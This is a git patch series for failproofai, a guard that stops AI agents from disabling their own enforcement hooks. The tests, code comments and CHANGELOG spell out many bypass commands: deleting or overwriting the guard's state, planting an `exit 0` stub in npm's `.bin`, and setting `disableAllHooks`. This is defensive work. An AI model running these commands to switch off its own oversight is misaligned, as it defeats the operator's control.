"~") + .split("/"); + // A prefix with more segments than the deepest candidate cannot equal one: + // a compiled `*` never crosses a `/`. + for (let end = 1; end <= Math.min(segments.length, GLOB_CANDIDATE_DEPTH); end++) { if (globPrefixNamesState(segments.slice(0, end).join("/"))) return true; } - // And every stretch that starts after a `/`, since the candidates are the - // TAILS of the paths they stand for: `/home/u/.failproof*` and - // `/work/proj/node_modules/.bin/fail*` begin with a prefix no candidate - // spells, so as whole words they named nothing (FailproofAI/agenteye#1795). - // A stretch longer than the deepest candidate cannot equal one. + // And every stretch that starts after a `/`, because the paths the + // multi-segment candidates stand for can sit under any directory: + // `/work/proj/node_modules/.bin/fail*` named nothing as a whole word + // (FailproofAI/agenteye#1795). Only those candidates: a one-segment stretch + // such as `models/*ai` or the `.*ai` in `sed 's/.*ai/X/'` matches + // `.failproofai` by name, and no decoy can tell it from an aim at the state. for (let start = 1; start < segments.length; start++) { const last = Math.min(segments.length, start + GLOB_CANDIDATE_DEPTH); - for (let end = start + 1; end <= last; end++) { - if (globPrefixNamesState(segments.slice(start, end).join("/"))) return true; + for (let end = start + 2; end <= last; end++) { + if (globPrefixNamesState(segments.slice(start, end).join("/"), MULTI_SEGMENT_GLOB_CANDIDATES)) return true; } } return false; @@ -1252,7 +1275,7 @@ function bracketExpressionAt(token: string, start: number): { source: string; en * One `/`-delimited prefix of a brace-expanded word, compiled and tried against * the candidates. Braces are already gone by here; an unmatched one is literal. */ -function globPrefixNamesState(token: string): boolean { +function globPrefixNamesState(token: string, candidates: readonly string[] = STATE_GLOB_CANDIDATES): boolean { if (!GLOB_METACHAR_RE.test(token)) return false; const pattern = "^" + compileGlobPattern(token); let re: RegExp; @@ -1261,7 +1284,7 @@ function globPrefixNamesState(token: string): boolean { } catch { return false; } - if (!STATE_GLOB_CANDIDATES.some((candidate) => re.test(candidate))) return false; + if (!candidates.some((candidate) => re.test(candidate))) return false; return !GLOB_DECOYS.some((decoy) => re.test(decoy)); } @@ -1343,14 +1366,28 @@ function commandBasename(token: string): string { * and return the tokens from the command word on. Mirrors the walk in * `classifySelfInvocation` — the same prefixes hide a deleter that hid the * binary, and `xargs -0 rm -f` is the one that matters most here. - * - * After the command word, redirects and a comment are not arguments either. - * They were returned as words, so the copy checks took the LAST one for the - * destination: `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` - * judged `2>/dev/null`, and `… # note` judged `note`, and both walked through. - * A redirect's target is judged by the redirect scan, not here. */ function commandWords(simpleCommand: string): string[] { + return commandWordLists(simpleCommand).words; +} + +/** A redirect operator, with an optional fd (`2>`, `{fd}>`), and the same alone. */ +const REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})/; +const LONE_REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})$/; + +/** + * `commandWords`, and the same words with redirects and a comment taken out + * after the command word. + * + * The copy checks take the LAST operand for the destination, so a redirect or + * comment after it became the destination they judged: + * `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` and + * `… node_modules/.bin/failproofai # keep` both walked through. But a token is + * read here without knowing whether it sits inside quotes, so `-H 'X: #1'` or + * `-name 'x #'` would cut off the real words after it. Neither list is right + * every time, so callers judge both and deny when either does (FailproofAI/agenteye#1795). + */ +function commandWordLists(simpleCommand: string): { words: string[]; trimmed: string[] } { const all = simpleCommand .trim() .split(/\s+/) @@ -1375,18 +1412,18 @@ function commandWords(simpleCommand: string): string[] { if (!skippable) break; i++; } - const words: string[] = []; + const trimmed: string[] = []; for (let j = i; j < all.length; j++) { - // Read as the shell does, unquoted: `">"` and `"#"` are arguments. + // Judged on the token as written: a quoted `">"` or `"#"` is an argument. const { raw, token } = all[j]; - if (raw.startsWith("#")) break; - if (j > i && /^\d*(?:>{1,2}\|?|<{1,3})/.test(raw)) { - if (/^\d*(?:>{1,2}\|?|<{1,3})$/.test(raw)) j++; + if (j > i && raw.startsWith("#")) break; + if (j > i && REDIRECT_OPERATOR_RE.test(raw)) { + if (LONE_REDIRECT_OPERATOR_RE.test(raw)) j++; continue; } - words.push(token); + trimmed.push(token); } - return words; + return { words: tokens.slice(i), trimmed }; } /** @@ -1434,17 +1471,18 @@ function landsInDirectoryAs( const eq = arg.indexOf("="); const name = arg.slice(2, eq === -1 ? undefined : eq); const value = eq === -1 ? undefined : arg.slice(eq + 1); - // GNU takes any unambiguous prefix: `--target DIR` is `--target-directory`. + // GNU takes any unambiguous prefix of a long option: `--target DIR` is + // `--target-directory`, `--rec` is `--recursive`, `--suf x` is `--suffix x`. if (head !== "rsync" && name.length > 0 && "target-directory".startsWith(name)) { directory = value ?? args[++i]; - } else if (options.long.includes(name)) { - if (value === undefined) i++; - } else if (name === "recursive" || name === "archive") { - recursive = true; - } else if (name === "no-target-directory") { + } else if (name.length >= 4 && "no-target-directory".startsWith(name)) { ontoItself = true; - } else if (head === "install" && name.length > 1 && "directory".startsWith(name)) { + } else if (name.length >= 3 && ("recursive".startsWith(name) || "archive".startsWith(name))) { + recursive = true; + } else if (head === "install" && name.length >= 2 && "directory".startsWith(name)) { createsDirectories = true; + } else if (name.length >= 2 && options.long.some((long) => long.startsWith(name))) { + if (value === undefined) i++; } continue; } @@ -1475,21 +1513,39 @@ function landsInDirectoryAs( if (directory === undefined && namesState(destination)) return true; const into = destination.replace(/(?:[\\/]+\.?)+$/, ""); - if (NPM_BIN_DIRECTORY_RE.test(into)) { - if (head === "mv" || head === "ln") return true; - if (recursive || ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))) return true; - } + // A directory becomes npm's bin directory when it is moved, linked or copied + // recursively onto a path that does not exist yet. `-t` needs a directory + // that exists, and so does `ln` given a trailing separator, so neither can. + // Copying what is IN a directory (`src/.`, rsync's `src/`, `-T`) fills an + // existing one with names that are not on the line. + const createsDirectory = + directory === undefined && !(head === "ln" && /[\\/]$/.test(written)) && (head === "mv" || head === "ln" || recursive); + const copiesContents = recursive && (ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))); + if (NPM_BIN_DIRECTORY_RE.test(into) && (createsDirectory || copiesContents)) return true; if (into === "" || ontoItself) return false; return sources.some((source) => { if (/[\\/]$/.test(source)) return false; const name = source.slice(Math.max(source.lastIndexOf("/"), source.lastIndexOf("\\")) + 1); if (name === "" || name === "." || name === "..") return false; const landing = `${into}/${name}`; + // A directory named `.bin` landing in a `node_modules` is the same swap. + if (NPM_BIN_DIRECTORY_RE.test(landing) && (head === "mv" || head === "ln" || recursive)) return true; + // A glob source puts names the line does not spell into the directory. + if (NPM_BIN_DIRECTORY_RE.test(into) && GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)) return true; if (!namesState(landing)) return false; return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing); }); } +/** True when a one-segment glob could expand to the entry's own name. */ +function globCouldBeEntry(name: string): boolean { + try { + return new RegExp(`^${compileGlobPattern(name)}$`, "i").test("failproofai"); + } catch { + return true; + } +} + /** * True when this one simple command would destroy whatever it is pointed at. * @@ -1626,7 +1682,7 @@ function writesViaOutputFlag(head: string, args: string[], namesState: (text: st * `cat ~/.failproofai/config.json && rm /tmp/scratch` has to stay allowed, and * does, because nothing in the second command reaches the state. */ -function destroysFailproofaiState(command: string, depth = 0): boolean { +function destroysFailproofaiState(command: string, depth = 0, startDir?: string): boolean { // A substitution runs its body as a command of its own, so it is judged as // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head // and walks straight through. Bounded, because a body can contain another. @@ -1637,7 +1693,7 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { if (depth === 0) { const bodies = substitutionBodies(command); for (let i = 0; i < bodies.length && i < 64; i++) { - if (destroysFailproofaiState(bodies[i], 1)) return true; + if (destroysFailproofaiState(bodies[i], 1, startDir)) return true; bodies.push(...substitutionBodies(bodies[i])); } } @@ -1682,18 +1738,56 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // was denying a cleanup in an entirely unrelated directory. let parenDepth = 0; let cdParenDepth: number | null = null; - // Where the `cd`s so far put the shell, as written, when the walk can tell. - // A protected FILE sits in a directory nothing protects, so `cwdInState` never - // fires for it: `cd node_modules/.bin && printf 'exit 0' > failproofai` names + + // Where the shell stands, when the walk can tell: the session's directory to + // begin with, then wherever each `cd`, `pushd` and `popd` moves it. A + // protected FILE sits in a directory nothing protects, so `cwdInState` never + // fires for it: `cd node_modules/.bin && printf 'exit 0' > failproofai`, or + // the same `printf` in a session a previous call left there, names // `node_modules/.bin/failproofai` only once `failproofai` is read from there - // (FailproofAI/agenteye#1795). The patterns match the tail of a path, so a - // relative `cd` needs no starting directory. A subshell's `cd` is undone - // when it closes, which `shellDirScopes` remembers. - let shellDir: string | undefined; + // (FailproofAI/agenteye#1795). Kept as its last `SHELL_DIR_SEGMENTS` segments + // with `.` and `..` resolved, because the patterns match the tail of a path + // and an unbounded path made every later word slower to judge. + let shellDir = startDir ? shellPath(undefined, startDir) : undefined; + let previousDir: string | undefined; + const dirStack: Array = []; const shellDirScopes: Array<{ depth: number; dir: string | undefined }> = []; + const isRelative = (word: string) => word !== "" && !/^(?:[~/\\$]|[A-Za-z]:)/.test(word); + // A relative word read from where the shell stands, and `..` resolved in any. const inShell = (word: string): string => - shellDir === undefined || word === "" || /^(?:[~/\\$]|[A-Za-z]:)/.test(word) ? word : `${shellDir}/${word}`; - const namesHere = (text: string): boolean => namesState(text) || (shellDir !== undefined && namesState(inShell(text))); + isRelative(word) && shellDir !== undefined ? shellPath(shellDir, word) : word.includes("..") ? shellPath(undefined, word) : word; + const judged = new Map(); + const namesHere = (text: string): boolean => { + if (namesState(text)) return true; + // Every pattern spells `failproof`, so only a word or a directory that + // does, or a glob that could, can resolve onto one. + if (!/failproof/i.test(text) && !/failproof/i.test(shellDir ?? "") && !GLOB_METACHAR_RE.test(text)) return false; + const resolved = inShell(text); + if (resolved === text) return false; + let verdict = judged.get(resolved); + if (verdict === undefined) judged.set(resolved, (verdict = namesState(resolved))); + return verdict; + }; + // What the line assigns, so a word built from it is judged as the path it + // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` is where the + // shell stands. A variable the line never sets stays a reference. + const values = new Map(assignments); + const expand = (word: string): string => { + let out = word; + for (let pass = 0; pass < 3 && out.includes("$"); pass++) { + out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => + name === "PWD" && shellDir !== undefined ? shellDir : values.get(name) ?? reference, + ); + } + return out; + }; + const moveTo = (dir: string | undefined) => { + previousDir = shellDir; + shellDir = dir; + cwdInState = dir !== undefined && namesState(dir); + cdParenDepth = cwdInState ? parenDepth : null; + }; + // A loop header hands its word list to the body, and the body is a separate // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do // rm -rf $f; done` is a header that only expands and a body that only deletes @@ -1712,46 +1806,49 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // `grep -r sudo ~/.failproofai 2>/dev/null` and // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is // exactly the diagnosis this guard must not block. - if (reachesState || shellDir !== undefined) { - for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { - if (namesHere(target.replace(/^["']|["']$/g, ""))) return true; - } + for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { + if (namesHere(expand(target.replace(/^["']|["']$/g, "")))) return true; } for (const simple of simpleCommands) { - parenDepth += (simple.match(/\(/g) ?? []).length; - const words = commandWords(simple); + // Parentheses inside quotes open and close nothing. + const shellText = simple.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, ""); + parenDepth += (shellText.match(/\(/g) ?? []).length; + const lists = Object.values(commandWordLists(simple)).map((list) => list.map(expand)); + const words = lists[0]; const head = words.length > 0 ? commandBasename(words[0]) : ""; // Track the shell's position before judging: a `cd` INTO the state makes // every later relative path a state path, and a `cd` back out ends that. - if (head === "cd" || head === "pushd") { - const operand = words.slice(1).find((w) => !w.startsWith("-")); - cwdInState = operand !== undefined && namesHere(operand); - cdParenDepth = cwdInState ? parenDepth : null; + if (head === "cd" || head === "pushd" || head === "popd") { if (parenDepth > 0) shellDirScopes.push({ depth: parenDepth, dir: shellDir }); - // No operand is home; `cd -` goes somewhere the walk cannot see. - shellDir = operand === undefined ? "~" : operand === "-" ? undefined : inShell(operand); - } else if (head === "popd") { - // `popd` returns to wherever the shell was before `pushd`, which ends - // the window as surely as a `cd` out does. Without it every command for - // the rest of the line was judged as if it stood in the state directory. - cwdInState = false; - cdParenDepth = null; - shellDir = undefined; - } else if (landsInDirectoryAs(words, namesState, inShell)) { + const operand = words.slice(1).find((w) => !w.startsWith("-") || w === "-"); + if (head === "popd") { + // `popd` returns to wherever the shell was before the `pushd`. + moveTo(dirStack.length > 0 ? dirStack.pop() : undefined); + } else if (head === "pushd" && operand === undefined) { + // A bare `pushd` swaps the top two directories. + const top = dirStack.pop(); + dirStack.push(shellDir); + moveTo(top); + } else { + if (head === "pushd") dirStack.push(shellDir); + // No operand is home, and `cd -` is wherever the shell was before. + moveTo(operand === undefined ? "~" : operand === "-" ? previousDir : shellPath(isRelative(operand) ? shellDir : undefined, operand)); + } + } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell))) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; } else if ( - (reachesState || (shellDir !== undefined && words.some((w) => namesHere(w)))) && words.length > 0 && - simpleCommandDestroys(words, namesHere) + (reachesState || lists.some((list) => list.some((w) => namesHere(w)))) && + lists.some((list) => simpleCommandDestroys(list, namesHere)) ) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. return true; } - parenDepth -= (simple.match(/\)/g) ?? []).length; + parenDepth -= (shellText.match(/\)/g) ?? []).length; if (cdParenDepth !== null && parenDepth < cdParenDepth) { cwdInState = false; cdParenDepth = null; @@ -1764,6 +1861,29 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { return false; } +/** How much of the shell's directory the walk keeps; see `shellPath`. */ +const SHELL_DIR_SEGMENTS = 16; + +/** + * `word` read from directory `base` (as given when absolute, or with no base), + * with `.` and `..` resolved as text, the way a shell's logical `cd` does, and + * cut to its last `SHELL_DIR_SEGMENTS` segments. Every protected pattern + * matches the END of a path, so the dropped head never decides anything, and + * the cut keeps a script of a thousand `cd`s from growing every later word. + */ +function shellPath(base: string | undefined, word: string): string { + const parts: string[] = []; + for (const part of (base === undefined ? word : `${base}/${word}`).split("/")) { + if (part === ".") continue; + if (part === ".." && parts.length > 0 && parts[parts.length - 1] !== ".." && parts[parts.length - 1] !== "") { + parts.pop(); + continue; + } + parts.push(part); + } + return parts.slice(-SHELL_DIR_SEGMENTS).join("/"); +} + const FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; // warnGitAmend @@ -2870,8 +2990,11 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // Deleting the state IS disabling enforcement, without ever naming the binary. // Checked on the raw command AND its shell-unescaped form for the same reason // the binary walk is: `rm -rf ~/.failproof"ai"` presents a broken literal to a - // matcher and a real path to the shell. - if (destroysFailproofaiState(cmd) || destroysFailproofaiState(unescaped)) { + // matcher and a real path to the shell. The walk starts where the command runs: + // the session's directory, or the one an Antigravity `run_command` names. + const toolCwd = ctx.toolInput?.cwd; + const shellCwd = typeof toolCwd === "string" && toolCwd !== "" ? toolCwd : ctx.session?.cwd; + if (destroysFailproofaiState(cmd, 0, shellCwd) || destroysFailproofaiState(unescaped, 0, shellCwd)) { return deny( "Deleting, moving or overwriting failproofai's own state or installed code would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", From c50991c77e555aefc888af29f105313164fcb5c8 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:18:25 +0530 Subject: [PATCH 19/89] [hooks] Read a copy's destination past its redirects; open 1.0.18-beta.0 (#1794) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - commandWords kept every token after the command word, so a copy's LAST word could be a redirect: `cp /dev/null ~/.claude/settings.json 2>/dev/null` (and `> f`, `< f`, `2>&1`, `install … 2>/dev/null`) was allowed, for the settings and for ~/.failproofai alike. Redirect tokens after the command word are dropped there; the redirect is judged on its own, and `<(…)`/`>(…)` stay arguments. Reported by the #1795 session. - CHANGELOG: 1.0.17 shipped this morning, so this PR's entry moves to a new `## 1.0.18-beta.0 — 2026-11-24` section, the one the next release announcement gathers (agreed across this batch). Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 7 ++++++- __tests__/hooks/settings-guard.test.ts | 22 ++++++++++++++++++++++ src/hooks/builtin-policies.ts | 14 +++++++++++++- 3 files changed, 41 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index bc9b624c6..36a15ddd9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 1.0.18-beta.0 — 2026-11-24 + +### Fixes + +- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in the Claude Code settings layer that decides it, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks (a `..` after a link included), and shell writes, through a link's name too, by the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now reads a command the way a shell does (quotes, comments, `${…}`, `$(…)`, heredocs), judges text piped into a shell (the failproofai CLI's too), follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), commands git runs (`rebase -x`, `filter-branch`) and file-moving `git` subcommands, `xargs`, process substitutions, variables spliced into a path, a copy followed by a redirect (`2>/dev/null`) and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies, comments or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. A shell write that never names the file (a script written earlier and run later) is not seen. This guard leaves reads alone (the opt-in `block-read-outside-cwd` refuses them when enabled), and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (#1053, FailproofAI/agenteye#1794) + ## 1.0.17 — 2026-11-24 ### Fixes @@ -29,7 +35,6 @@ - Setup's summary on a Cloud-managed machine says "Deploy from Cloud" instead of pointing at installing a pack (#1033) - The first `failproofai config` on a new version (a fresh install, or the first after `npm i -g failproofai`) finishes the upgrade the way `failproofai update` does: it migrates Hermes profiles and restarts running, service-managed Hermes and OpenClaw gateways so they load the plugin now on disk. A later setup that plugs in a profile created since restarts that profile's gateway. Setup used to leave a gateway that was already running on the plugin it loaded before, or with none, until someone ran `update` (#1033) - A desired-state response the daemon refuses (an unknown `schemaVersion`, or a payload that does not decode) no longer applies its `machineLogs` or `logRequest` first: it used to clear an org's troubleshooting-off and start a log upload on the way to being rejected; the last valid answer now stands (#1033) -- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in the Claude Code settings layer that decides it, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks (a `..` after a link included), and shell writes, through a link's name too, by the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now reads a command the way a shell does (quotes, comments, `${…}`, `$(…)`, heredocs), judges text piped into a shell (the failproofai CLI's too), follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), commands git runs (`rebase -x`, `filter-branch`) and file-moving `git` subcommands, `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies, comments or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. A shell write that never names the file (a script written earlier and run later) is not seen. This guard leaves reads alone (the opt-in `block-read-outside-cwd` refuses them when enabled), and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (#1053, FailproofAI/agenteye#1794) ### Dependencies diff --git a/__tests__/hooks/settings-guard.test.ts b/__tests__/hooks/settings-guard.test.ts index bcb34af80..a5b604311 100644 --- a/__tests__/hooks/settings-guard.test.ts +++ b/__tests__/hooks/settings-guard.test.ts @@ -954,6 +954,28 @@ describe("block-failproofai-commands — review round six", () => { }); }); + describe("a redirect after a copy's destination (reported by the #1795 session)", () => { + it.each([ + `cp /dev/null ~/.claude/settings.json 2>/dev/null`, + `cp /tmp/x ~/.claude/settings.json > /tmp/log`, + `cp /tmp/x ~/.claude/settings.json < /dev/null`, + `cp /tmp/x ~/.claude/settings.json 2>&1`, + `install -m 644 /tmp/x ~/.claude/settings.json 2>/dev/null`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it("reads a glob over the home directory spelled out (the #1795 session's other case)", async () => { + expect(await bash(`rm -rf ${h6}/.clau*`)).toBe(true); + }); + + it("closes it for the state too, and leaves a copy out of the settings alone", async () => { + expect((await run("Bash", { command: "cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null" })).decision).toBe("deny"); + expect(await bashDecision("cp ~/.claude/settings.json /tmp/backup.json 2>/dev/null")).toBe("allow"); + expect(await bashDecision("cp /tmp/a /tmp/b 2>/dev/null")).toBe("allow"); + }); + }); + describe("where the shell stands (CodeRabbit)", () => { it("lets a cd before a | move nothing", async () => { expect(await bashDecision(`cd ~/.claude | cat; cp /tmp/example.json settings.json`)).toBe("allow"); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 6ad0fb0ed..1562750c0 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1325,7 +1325,19 @@ function commandWords(simpleCommand: string): string[] { if (!skippable) break; i++; } - return tokens.slice(i); + // From the command word on, a redirect is no argument either: `cp /dev/null + // ~/.claude/settings.json 2>/dev/null` copies onto the settings file, and a + // copy's destination is its LAST word. The redirect is judged on its own, + // by REDIRECT_TARGET_RE; `<(…)` and `>(…)` are arguments and stay. + const words: string[] = []; + for (let k = i; k < tokens.length; k++) { + if (k > i && /^\d*(?:>{1,2}\|?|<{1,3})(?!\()/.test(tokens[k])) { + if (/^\d*(?:>{1,2}\|?|<{1,3})$/.test(tokens[k])) k++; + continue; + } + words.push(tokens[k]); + } + return words; } /** From f57b5aeee00aa525487dcb68027fa1018fb4799a Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:18:53 +0530 Subject: [PATCH 20/89] [hooks] CHANGELOG: #1795's guard fix under 1.0.18-beta.0 (#1058) Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4f43d2ccf..8c740af56 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included), and through shell commands that write it, copy, move or link a file of that name or a whole directory into npm's `.bin`, including after a `cd`, through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same shell fixes close three ways around the state guard: a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), and a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`). npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ## 1.0.17 — 2026-11-24 From 697fac992c5ef8c1a679b7c58d7783147b80f04b Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:19:09 +0530 Subject: [PATCH 21/89] [hooks] Address CodeRabbit: dotted pnpm-store glob; state the one-minute allowance - `rm -rf ./node_modules/.pnpm/fail*` was allowed while the undotted form was denied: the glob candidates had no `./node_modules/.pnpm/` entry. Add it, with its decoy, so `./node_modules/.pnpm/*` stays allowed. - CHANGELOG and docs said every future start is refused; a start within a minute of the reader's clock is honoured on purpose. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-installed-code.test.ts | 2 ++ docs/reference/failproof-cli.mdx | 2 +- src/hooks/builtin-policies.ts | 2 ++ 4 files changed, 6 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4f43d2ccf..e13b8a377 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Fixes - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ## 1.0.17 — 2026-11-24 diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 8c83fe32c..1ebccc705 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -234,6 +234,7 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["removing pnpm's global store entry", "rm -rf /home/u/.local/share/pnpm/global/5/.pnpm/failproofai@1.0.15"], ["removing the daemon package from pnpm's store", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-linux-x64@1.0.15"], ["a glob onto pnpm's store entry", "rm -rf node_modules/.pnpm/fail*"], + ["a dotted glob onto pnpm's store entry", "rm -rf ./node_modules/.pnpm/fail*"], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -248,6 +249,7 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["a clean reinstall", "rm -rf node_modules && npm ci"], ["clearing every dependency", "rm -rf node_modules/*"], ["clearing pnpm's whole store", "rm -rf node_modules/.pnpm/*"], + ["clearing pnpm's whole store, dotted", "rm -rf ./node_modules/.pnpm/*"], ["a test run inside a directory of that name under bin/", "vitest run --root /home/u/bin/failproofai/web"], ["clearing a build cache", "rm -rf node_modules/.cache"], ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], diff --git a/docs/reference/failproof-cli.mdx b/docs/reference/failproof-cli.mdx index e672159be..cc97aa58b 100644 --- a/docs/reference/failproof-cli.mdx +++ b/docs/reference/failproof-cli.mdx @@ -99,7 +99,7 @@ Run `failproofai` without arguments to open the local policy dashboard. | `--session ` | Target an explicit session for pause or resume | | `--all` | With `--resume`, end every active pause | -Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire, at most 8 hours after the first pause in a run, and they do not disable Cloud-managed policies or `block-failproofai-commands`, which is always on and cannot itself be disabled or paused. That guard refuses the direct ways an instrumented agent could pause itself: running `failproofai config --pause`, or writing the pause file under `~/.failproofai/state/sessions/`. It reads commands, not what a 